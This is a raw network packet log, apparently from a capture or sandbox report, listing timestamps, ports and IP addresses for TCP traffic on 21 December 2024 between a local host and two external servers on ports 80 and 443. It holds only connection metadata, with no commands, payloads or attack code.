Dec 21, 2024 18:16:20.569437027 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.573298931 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.573370934 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.641371965 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.641422033 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.641436100 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.641520023 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.645646095 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.645700932 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.645745039 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.654014111 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.654068947 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.654088974 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.654120922 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.662322044 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.662374973 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.662435055 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.670443058 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.670581102 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.670635939 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.679300070 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.679390907 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.679460049 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.687506914 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.687598944 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.687658072 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.695697069 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.695784092 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.695856094 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.704071999 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.704122066 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.704189062 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.712419033 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.712553024 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.712606907 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.720123053 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.720175028 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.720242977 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.762926102 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.762960911 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.763031960 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.833233118 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.833322048 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.833390951 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.833527088 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.835649014 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.835715055 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.835763931 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.835809946 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.840408087 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.840513945 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.840796947 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.844796896 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.844911098 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.844949961 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.849623919 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.849781036 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.849831104 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.854430914 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.854456902 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.854501009 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.858910084 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.858998060 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.859005928 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.859042883 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.863718033 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.863873005 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.863923073 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.868334055 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.868380070 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.868441105 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.873163939 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.873508930 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.873586893 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.877613068 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.877849102 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.877907991 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.882479906 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.882505894 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.882550001 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.887116909 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.887332916 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.887387037 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.891869068 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.891896009 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.891942978 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.896487951 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.896514893 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.896563053 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.900093079 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.900163889 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.900219917 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.903713942 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.903736115 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.903799057 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.025713921 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.025737047 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.025813103 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.026000977 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.026087999 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.026320934 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.026374102 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.028929949 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.028984070 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.029223919 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.029324055 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.031785965 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.031836033 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.032074928 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.032124996 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.034849882 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.035156012 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.035211086 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.037595987 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.037779093 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.037854910 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.040627003 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.040676117 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.040962934 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.041347027 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.043389082 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.043440104 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.043486118 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.043533087 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.046509027 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.046864033 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.046915054 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.049209118 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.049328089 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.049391985 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.052400112 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.052428007 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.052454948 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.052476883 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.054989100 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.055042982 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.055088997 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.055279016 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.057882071 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.057945967 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.058188915 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.058240891 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.061208963 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.061274052 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.061523914 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.061600924 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.063960075 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.064022064 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.064106941 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.064156055 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.066616058 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.066667080 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.066680908 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.066723108 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.069807053 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.069859028 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.070077896 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.070122957 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.072396040 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.072448969 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.072500944 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.072571039 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.075284958 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.075340033 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.075414896 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.075463057 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.078262091 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.078315020 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.078331947 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.078378916 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.081228018 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.081255913 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.081281900 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.081296921 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.084122896 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.084172010 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.084395885 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.084467888 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.086850882 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.086910009 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.087196112 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.087249041 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.089795113 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.089843035 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.089910984 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.089952946 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.092658043 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.092768908 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.092819929 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.095746994 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.095801115 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.095926046 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.095988035 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.098459005 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.098506927 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.098552942 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.098620892 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.101393938 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.101443052 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.101473093 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.101522923 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.104312897 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.104360104 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.104428053 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.104473114 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.107144117 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.107191086 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.180093050 CET	443	49789	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:21.180233955 CET	443	49789	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:21.180327892 CET	443	49789	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:21.180367947 CET	49789	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:21.180433989 CET	443	49789	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:21.180496931 CET	49789	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:21.180512905 CET	443	49789	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:21.184530973 CET	443	49789	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:21.184590101 CET	49789	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:21.184617996 CET	443	49789	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:21.192977905 CET	443	49789	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:21.193120003 CET	49789	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:21.193147898 CET	443	49789	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:21.217854023 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.217876911 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.217928886 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.218970060 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.219022036 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.219065905 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.219111919 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.221832037 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.221887112 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.222055912 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.222107887 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.224759102 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.224852085 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.224903107 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.227685928 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.227777958 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.227811098 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.227933884 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.230500937 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.230576992 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.230607033 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.230658054 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.233393908 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.233448029 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.233504057 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.233553886 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.238760948 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.238779068 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.238856077 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.239881992 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.239900112 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.239964008 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.240250111 CET	49789	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:21.240278006 CET	443	49789	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:21.242203951 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.242284060 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.242347002 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.245068073 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.245143890 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.245220900 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.247905016 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.248219013 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.248313904 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.250842094 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.250972986 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.251027107 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.253722906 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.253932953 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.254019022 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.256587029 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.256645918 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.256688118 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.257725000 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.259491920 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.259655952 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.259725094 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.262794971 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.262968063 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.263040066 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.265719891 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.266072989 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.266143084 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.268498898 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.269411087 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.269480944 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.271348953 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.271373034 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.271478891 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.274597883 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.274765968 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.274816990 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.274840117 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.277210951 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.277229071 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.277296066 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.280143976 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.280162096 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.280206919 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.280240059 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.282771111 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.282839060 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.282915115 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.282963991 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.285813093 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.285868883 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.285979986 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.286032915 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.287069082 CET	49789	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:21.289983988 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.290170908 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.290231943 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.291591883 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.291862965 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.291914940 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.294483900 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.294542074 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.294647932 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.295051098 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.297257900 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.297318935 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.297399998 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.297455072 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.300405025 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.300560951 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.300621033 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.303389072 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.303406954 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.303472042 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.305960894 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.306020975 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.306085110 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.306219101 CET	443	49789	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:21.308759928 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.308825970 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.308830023 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.309237003 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.313189030 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.313205957 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.313268900 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.315125942 CET	80	49788	31.41.244.11	192.168.2.4
